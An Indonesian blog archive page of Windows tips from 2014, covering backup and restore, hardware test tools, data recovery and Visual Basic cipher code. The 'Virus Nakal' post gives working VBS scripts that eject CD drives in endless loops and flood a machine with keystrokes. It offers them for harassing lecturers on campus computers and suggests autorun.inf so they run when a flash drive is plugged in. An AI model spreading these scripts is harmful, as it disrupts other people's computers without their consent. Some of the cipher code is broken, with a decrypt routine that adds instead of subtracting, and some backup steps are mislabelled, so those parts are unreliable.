Martha: Januari 2014

Kamis, 16 Januari 2014

Cara Backup System Windows 7 dan Backup Hardisk dengan Membuat System Image

Backup System Windows 7 dan backup hardisk dengan membuat System Image, apa itu maksudnya? Jadi, Windows 7 memungkinkan kita untuk melakukan backup system Windows beserta backup hardisk yang hasilnya nanti berupa sebuah system image. System image sendiri adalah salinan drive yang diperlukan untuk menjalankan Windows beserta salinan data hard drive yang kita pilih. System image ini nantinya dapat Anda pergunakan untuk mengembalikan komputer Anda (restore komputer) seperti kondisi semula, jika sewaktu-waktu hard drive (hardisk) atau komputer Anda tidak berjalan sebagaimana mestinya. Hebatnya lagi, cara ini tanpa menggunakan bantuan software System Windows apapun.

Begitu pentingnya fungsi system image ini, maka ada baiknya Anda memilikinya dengan cara menyimpannya ke dalam CD/DVD. Bagaimana caranya? Agar lebih mudah, silahkan mengikuti langkah-langkah cara backup system Windows 7 dan backup hardisk dengan membuat System Image berikut ini

1. Masukkan CD/DVD kosong ke dalam CD/DVD Drive.

2. Klik tombol Start, kemudian pilih Control Panel.

3. Di jendela yang muncul, tepatnya pada opsi System and Security, pilih Back up your computer.

4. Di jendela yang berikutnya, pilih opsi Create a system repair disc seperti gambar ini.

5. Di kotak dialog yang muncul akan ada 3 opsi yang bisa Anda pilih sebagai lokasi/media penyimpanan, namun sangat dianjurkan bila Anda memilih opsi kedua, yakni On one or more DVDs, lalu tekan Next.

6. Selanjutnya Anda akan diminta untuk memilih salah satu atau semua hard drive yang akan di backup bersama dengan system image, lalu tekan Next.

7. Selanjutnya akan muncul konfirmasi mengenai hard drive yang akan di backup seperti yang sudah Anda pilih sebelumnya termasuk Hard Drive C (System Windows), setelah itu tekan Start Backup.

8. Terakhir, tunggu hingga proses penyimpanan selesai.

Dari proses yang sudah kita lihat bersama, kelebihan dari “Cara Backup System Windows 7 dan Backup Hardisk dengan Membuat System Image” ini dibandingkan dengan “Cara Backup System Windows 7 dengan Membuat System Repair Disc“ seperti yang sudah dibahas sebelumnya adalah kita bisa menyimpan system Windows bersamaan dengan data hardisk.

Menonaktifkan / Mengaktifkan Jadwal Backup Otomatis Windows 7

Jadwal back up otomatis Windows 7 yang sudah Anda buat sebelumnya, dapat Anda nonaktifkan sementara waktu jika diperlukan, begitu pula dengan sebaliknya. Adapun cara menonaktifkan jadwal backup otomatis Windows 7 adalah sebagaimana penjelasan di bawah ini.

1. Klik tombol Start, dilanjutkan dengan memilih Control Panel.

2. Di jendela yang muncul, tepatnya pada opsi System and Security, pilih Back up your computer.

3. Berikutnya, tekan Turn On Schedule seperti yang ditunjukkan pada gambar di bawah ini.

4. Sementara jika suatu saat nanti Anda ingin mengaktifkan jadwal back up Windows 7 otomatis kembali, cukup dengan memilih Turn off schedule.

Cara Restore Komputer Menggunakan Pre-Installed Recovery Options

Masih ada beberapa cara yang bisa Anda lakukan untuk melakukan restore komputer, salah satunya yaitu dengan menggunakan Pre-Installed Recovery Options seperti yang akan kita bahas kali ini. Cara ini dipergunakan sebagai alternatif jika Anda tidak mempunyai software Windows atau System Repair Disc yang Anda buat sendiri. Penasaran bagaimana cara kerjanya?

Berikut ini akan kami berikan langkah-langkah cara restore komputer menggunakan Pre-Installed Recovery Options :

1. Restart komputer Anda.

2. Kemudian lakukan seperti ini:

· Jika komputer Anda hanya memiliki satu sistem operasi yang terinstal, tahan tombol F8. Ingat, Anda harus menekan tombol F8 sebelum logo Windows muncul.

· Jika komputer Anda memiliki lebih dari satu sistem operasi yang terinstal, pilih sistem operasi yang ingin dijalankan, lalu tekan tombol F8.

3. Di Advanced Boot Options yang tampil di layar, gunakan tanda anak panah untuk memilih Repair your computer, lalu tekan Enter.

4. Pilih Keyword layout, lalu tekan Next.

5. Seleksi User name, lalu ketikkan password, dan klik OK.

6. Di menu System Recovery Option, klik System Image Recovery, dan ikuti instruksi selanjutnya hingga selesai.

Nah, itulah langkah-langkah sederhana cara Restore Komputer Menggunakan Pre-Installed Recovery Options yang bisa Anda praktikkan sendiri di rumah.

Cara Restore Komputer Menggunakan Recovery Control Panel

Apabila komputer Anda masih bisa bekerja dan Anda dapat mengakses Control Panel, maka sangat dimungkinkan Anda melakukan restore komputer saat itu juga. Cara ini nantinya juga bisa digunakan untuk melakukan restore di komputer yang berbeda melalui System Image Backup yang ikut tersimpan dalam proses ini.

Adapun cara restore komputer adalah sebagaimana yang akan dijelaskan di bawah ini.

1. Klik tombol Start > Control Panel.

2. Di jendela yang tampil, tepatnya pada opsi System and Security, pilih Back up your computer.

3. Kemudian pilih Recover system settings or your computer.

4. Tahap berikutnya, pilih Advanced recovery methods.

5. Selanjutnya pilih opsi Use a system image you created earlier to recover your computer

6. Sebelum melanjutkan recovery, Anda dianjurkan untuk melakukan back up file terlebih dahulu, seperti documents, pictures, dan musik ke dalam hard disk, DVD, CD, atau flash disk, dengan menekan Back up Now.

7. Lanjutkan proses back up file pada kotak dialog Set up Backup yang muncul hingga selesai.

8. Setelah selesai, restart komputer Anda, dengan menekan Restart.

9. Tunggu proses recovery komputer akhir ini hingga selesai.

Dengan menggunakan cara yang sudah dijelaskan di atas, selain komputer Anda bisa kembali seperti semula (restore komputer), Anda juga memiliki System Image Backup yang dapat Anda pergunakan lain waktu untuk memperbaiki komputer Anda sendiri atau komputer yang berbeda.

Download Windows 7 DVD ISO Asli

Kebanyakan tidak semua perangkat lunak dijual secara online di mana pengguna dapat membayar menggunakan kartu kredit atau paypal dan ketika transaksi selesai, mereka akan dapat men-download versi lengkap atau disertakan dengan lisensi kunci ( serial number ) untuk mengubah versi percobaan ( versi trial ) menjadi aktif versi lengkap ( versi full). Adapun sistem operasi Windows 7, Microsoft tidak menjual secara online dan satu-satunya alasan mengapa ada yang asli dan resmi Windows 7 instalasi ISO yang dapat didownload di Internet adalah karena beberapa etalase online berbasis web dan pengecer seperti “Digital River” menjual lisensi Windows 7.
Berikut adalah daftar kompilasi link Windows 7 yang dapat didownload langsung dalam format ISO yang dapat diekstrak, dibakar ke DVD atau dimasukkan ke mesin virtual. Perlu dicatat bahwa Anda akan memerlukan nomor lisensi yang asli ( produck key ) untuk mengaktifkan Windows 7 ini atau ia hanya dapat bekerja dalam waktu yang terbatas.

Cara Menguji VGA Card

Pernah ketemu masalah dengan video card anda?, atau sedang asik2 nya bermain game tiba2 nongol layar biru alias “blue scree of dead” atau disingkat BSOD, tentunya menjengkelkan bukan? atau lagi membuat suatu desain dengan autocad atau program sotosop ( photoshop ), eh tiba2 layar jadi biru semua, dengan tulisan putih!. Mungkin ini disebabkan oleh vga card yang mau rusak, adapun kemungkinan lain ialah memori kita yang ada sedikit masalah, karena longgar ataupun terlalu panas, dll.
Nah, untuk memastikan dan menguji apakah video card kita ada masalah dengan memori nya bisa di uji dengan perangkat lunak berikut yang bernama:Video Memory stress Test, Video Memory stress Test memungkinkan Anda untuk benar-benar menguji RAM video Anda (Diakses ke DirectX). Cara terbaik untuk memeriksa stabilitas setelah overclocking.

Bahkan jika Anda tidak overclock kartu video Anda, Anda masih dapat menggunakannya untuk menguji kestabilan kartu grafis Anda. Bila video card anda yang tidak overclock tidak bisa bertahan satu siklus penuh uji memori stres, Anda harus menggantinya. Alat gratis ini diprogram oleh Misha Cherkes, programmer yang sama Check Flash (ChkFlsh) yang digunakan untuk memeriksa dan menguji USB flash disk.
Ada 2 cara untuk menjalankan video memory stress test. Anda dapat menjalankannya di Windows, yang menurut saya tidak begitu baik karena mungkin ada program pihak ketiga yang berjalan di latar belakang yang dapat mengganggu video memory stress test. Cara yang lebih baik untuk menjalankan tool ini dalam lingkungan bersih yang langsung bekerja dengan ram video tanpa menggunakan antarmuka dan driver dari Windows. Sebuah file ISO yang disediakan di arsip bagi Anda untuk membakarnya ke disk CD / DVD. Jika Anda tidak dapat boot dari CD / DVD, Anda dapat menggunakan versi floppy disk. Hanya men-download versi floppy, ekstrak dan jalankan install.bat.
Sederhana, berguna dan perangkat lunak yang gratis “video memory stress test” untuk menguji stabilitas kartu video.

Cara menyelamatkan Data

Bagaimana cara untuk menyelamatkan data atau file penting yang tidak sengaja terhapus?, mungkin kita tidak sengaja atau emang sengaja menghapus file dan dokumen yang menurut waktu itu tidak terlalu penting. ataupun karena virus, data kita hilang, atau pun k arena kesalahan waktu menjalankan program untuk mempartisi harddisk, salah waktu kloning harddisk, salah waktu mejalankan partition magic. dll. kalau sudah terlanjur hilang, gimana cara mengembalikan nya?
Saya sudah mencoba program untuk mengembalikan / restore file, dokumen, file lagu, file photo, atau pun file filem ( bkn bokep loh

). dan menurut hemat saya program yang enak dipake dan tidak terlalu lemot / lambat, yaitu iCara Data recovery. program ini cukup bagus untuk mengembalikan / mencari data yang hilang, atau data yang terhapus / kedelete, baik sengaja ataupun tidak sengaja, karena virus, drive yang tidak dapat diakses, MBR ( Master boot Record ) yang rusak, boot sector yg rusak, partisi yang tidak terbaca, partisi yang terhapus, harddisk yang keformat, dll.

Media penyimpanan yang didukung: Hampir semua media didukung oleh program ini, dari harddisk internal sampati external, memory card, media yg bisa dicolokin ke USB, handphone, smartphone. dll
iCare Recovery Modules
* Partition recovery
* Advanced Files Recovery
* Deep Scan Recovery
* Format Recovery
File Recovery
* XLSX file recovery
* MP3 file recovery
* MP4 file recovery
* ASPX file recovery
* AutoCAD file recovery
* Recover formatted avi files
* Flash files formatted recovery
* Excel recovery software
File Format Recovery
* Recover formatted avi files
* BKF files format recovery
* formatted BMP files recovery
* flash files formatted recovery
* Recover files deleted by reformatting
Disk Format Recovery
* Recover formatted drive
* Western digital drive file recovery
* Maxtor hard disk data recovery
* Recover data formatted disk
* accidentally formatted drive
* Recover data from formatted drive
* recover files formatted c drive
* External hard drive formatted recovery
Storage format recovery
* Formatted Smartphone recovery
* formatted blackberry recovery
* accidentally formatted iPod
* SD card not formatted
* CF card formatted recovery
* Formatted Smartphone recovery
* recover files formatted memory stick
* accidentally formatted memory card
* accidentally formatted flash drive
* recover photos cf card
* Recovering photos off olympus xd card
* Undelete USB flash drive
* undelete sd memory card
* Memory card photo recovery
Fix errors
* drive is not formatted do you want to format it now
* SD card not formatted
* Flash drive not formatted error
* Floppy disk not formatted error
* USB drive not formatted error
* Kingston micro sd card says not formatted
* sandisk cruzer not formatted
Recover files after format
* Recover data after format
* Recover data after reformat
* Deep Scan Recovery
* Format Recovery
Deleted file recovery
* Deleted file recovery
* recover deleted files blackberry
* recover deleted files from FAT32 partition

Cara menguji kecepatan menulis dan membaca USB flashdisk

Pada saat kita akan membeli sebuah perangkat keras komputer, apakah itu CPU. Memori, Harddisk dll. salah satu faktor yang ingin kita ketahui yaitu kecepatan dan kinerja komponen tersebut. Harddisk ataupun SSD drive sekarang ini sudah mempunyai kapasitas penyimpanan yang begitu besar dan begitu pula dengan kecepatan menulis dan membacanya. Hal serupa juga terjadi pada media penyimpanan yang umum digunakan sekarang, yaitu USB flashdisk, banyak dari kita yang tidak begitu meperdulikan soal kecepatan menulis dan membaca sebuah USB flashdisk dan hanya peduli kepada kapasitas penyimpanan nya saja.
Dengan kapasitas penyimpanan sebuah USB flashdisk yang saat ini terus meningkat, jika anda membeli sebuah ush flashdisk dengan kapasitas tinggi sebesar 64GB tapi dengan kecepatan membaca dan menulis yang lambat, tentunya akan memakan waktu yang lama untuk memuat suatu file yang besar kedalamnya, bukan hanya membuang waktu dan uang, tapi bisa membuat frustrasi jadinya.
Jika anda terlanjur membeli sebuah usb flashdisk atau sudah mempunyai sebuah USB flashdisk dan ingin mengetahui kinerja atau kecepatan menulis dan membaca (R/W) nya, berikut saya akan berbagi perangkat lunak yang akan membantu kita untuk mengetahuinya.

USBDeview

USBDeview

SpeedOut

SpeedOut

USB Flash Benchmark

Download Internet Explorer 10 Full Offline Installer

Baru baru ini Microsoft telah merilis IE 10 versi preview untuk windows 7 dan windows server 2008, sekarang versi finalnya sudah dapat kita download gratis dari situs resmi internet explorer, versi RTM ini kompatibel dengan Windows 7 dan Server 2008 R2. Internet explorer 10 hadir dengan banyak fitur baru dan antarmuka yang menarik, di windows 8 sendiri sudah disediakan internet explorer 10, jadi bagi pengguna windows 8 mungkin tidak menyadari bahwa sudah ada internet explorer 10 didalamnya.
Internet explorer 10 tersedia dalam berbagai bahasa seperti bahasa Inggris, Cina, Perancis, Jerman, Jepang, Rusia, dll. sayang belum ada versi bahasa indonesia.
Persyaratan Sistem:

1 GHz 32-bit (x86) atau 64-bit (x64) processor

512 MB RAM

100-200 MB ruang hard disk

Windows 7 dengan SP1 atau Server 2008 R2 dengan SP1

Halaman download resmi IE10 meminta kita untuk memilih sistem operasi dan jenis sistem (32-bit atau 64-bit) sebelum men-download file. Untuk kenyamanan Anda, kita berbagi link download langsung dari IE10 untuk sistem 32-bit dan 64-bit.

Cara membuat Virus Nakal

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs.
Caranya: Buka notepad dan masukkan code berikut,

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count &gt;= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.

Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.
NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel:
Nah mau script .vbs yang laen lagi?

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop

Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?
ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as
Buat virus nakal

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop

Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop

Terus tekan backspace:

MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop

Apa saja Fungsi baru di windows 8.1

Akhirnya Microsoft mau mendengarkan keluhan dari para pemakai setia sistem operasi microsoft windows, yaitu dengan dirilisnya windows 8.1, yang paling diinginkan oleh pengguna saat ini termasuk saya sendiri yaitu adanya tombol START, selain dari start screen dan yang lain nya silahkan disimak beberapa fitur penting lain yang telah diperbaiki pada edisi windows 8.1 ini.

Aplikasi yang akan di update secara otomatis

Tombol START

Dapat menjalankan sekaligus 4 aplikasi

Handfree

Dapat memakai kamera pada saat terkunci

Gambar Halaman Muka yang beragam

Miracast pengganti Bluetooth

Mode Klasik Windows

Perubahan yang terjadi sebenarnya hanyalah kecil. Microsoft tampak memperbaiki gangguan-gangguan kecil yang dianggap dapat menghilangkan rasa nyaman pengguna sistem operasi tersebut. Dari segi tampilan pun, Microsoft tidak melakukan perubahan secara signifikan. Pengguna tetap dapat menemukan tampilan Metro di OS yang memiliki nama kode “Blue” tersebut.
Bagi yang tidak sabar untuk mencoba windows 8.1 ini, dapat mendownload versi BETA atau Preview windows 8.1

Cara membuat kroftografi dengan menggunakan Visual Basic 2008

Pertama desainlah from seperti yang dibawa ini :

Untuk membuat listing program double click lember kerja yang bebas icon_nya tau ikutin saja perintah di bawah seperti biasa_Nya:

Public Class Form1

Private Sub KeluarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles KeluarToolStripMenuItem.Click

Me.Close()

End Sub

Private Sub KriptografiCaesarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles KriptografiCaesarToolStripMenuItem.Click

Form2.MdiParent = Me

Form2.Show()

End Sub

Private Sub KriftografiVernamToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles KriftografiVernamToolStripMenuItem.Click

Form3.MdiParent = Me

Form3.Show()

End Sub

Private Sub MenuStrip1_ItemClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.ToolStripItemClickedEventArgs) Handles MenuStrip1.ItemClicked

End Sub

Private Sub KriftografifelGronsfeldToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles KriftografifelGronsfeldToolStripMenuItem.Click

Form4.MdiParent = Me

Form4.Show()

End Sub

Public Class Form2

Private Sub btnEnkkripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnEnkkripsi.Click

Dim x As String = ""

Dim xkalimat As String = ""

For i = 1 To Len(plain.Text)

x = Mid(plain.Text, i, i)

x = Chr(Asc(x) + 3)

xkalimat = xkalimat + x

chiper.Text = xkalimat

End Sub

Private Sub btnDekripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnDekripsi.Click

Dim jumlah As Double = Len(plain.Text)

Dim x As String

Dim xkalimat As String = ""

Dim i As Double

Dim bil As Integer

For i = 1 To jumlah

x = Mid(plain.Text, i, 1)

bil = Asc(x) + 3

x = Chr(bil)

xkalimat = xkalimat + x

Next i

chiper.Text = xkalimat End Sub

Public Class Form3

Private Sub orm3_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

plainteks.text = ""

kunci.Text = ""

chiperteks.Text = ""

End Sub

Private Sub btnEnkkripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnEnkkripsi.Click

Dim j As Integer

Dim jum As Integer

Dim skey As String

Dim nkata As Integer

Dim nkunci As Integer

Dim skata As String

Dim splain As String = ""

Dim nEnc As Integer

j = 0

skata = plainteks.Text

jum = Len(skata)

skey = kunci.Text

For i = 1 To jum

If j = Len(skey) Then

j = 1

Else

j = j + 1

End If

nkata = Asc(Mid(skata, i, 1)) - 65

nkunci = Asc(Mid(skey, j, 1)) - 65

nEnc = ((nkata + nkunci) Mod 26)

splain = splain & Chr((nEnc) + 65)

Next i

chiperteks.Text = splain

End Sub

Private Sub plainteks_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles plainteks.KeyPress

e.KeyChar = UCase(e.KeyChar)

Dim tombol As Integer = Asc(e.KeyChar)

If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then

e.Handled = True

End If

End Sub

Private Sub kunci_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles kunci.KeyPress

e.KeyChar = UCase(e.KeyChar)

Dim tombol As Integer = Asc(e.KeyChar)

If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then

e.Handled = True

End If

End Sub

Private Sub kunci_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles kunci.TextChanged

End Sub

End Class

Public Class Form4

Private Sub Form4_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

plainteks.Text = ""

kunci.Text = ""

chiperteks.Text = ""

End Sub

Private Sub btnEnkkripsi_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnEnkkripsi.Click

Dim j As Integer

Dim jum As Integer

Dim skey As Integer

Dim nkata As Integer

Dim nkunci As Integer

Dim skata As String

Dim splain As String = ""

Dim nEnc As Integer

j = 0

skata = plainteks.Text

jum = Len(skata)

skey = kunci.Text

For i = 1 To jum

If j = Len(skey) Then

j = 1

Else

j = j + 1

End If

nkata = Asc(Mid(skata, i, 1)) - 65

nkunci = Mid(skey, j, 1)

nEnc = ((nkata + nkunci) Mod 26)

splain = splain & Chr((nEnc) + 65)

Next i

chiperteks.Text = splain

End Sub

Private Sub plainteks_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles plainteks.KeyPress

e.KeyChar = UCase(e.KeyChar)

Dim tombol As Integer = Asc(e.KeyChar)

If Not (((tombol >= 65) And (tombol <= 90)) Or (tombol = 8)) Then

e.Handled = True

End If

End Sub

Private Sub kunci_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles kunci.KeyPress

e.KeyChar = UCase(e.KeyChar)

Dim tombol As Integer = Asc(e.KeyChar)

If Not (((tombol >= 48) And (tombol <= 57)) Or (tombol = 8)) Then

e.Handled = True

End If

End Sub

Private Sub kunci_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles kunci.TextChanged

End Sub

End Class

Contoh dari Enkrifsi contoh dari Dekrifsi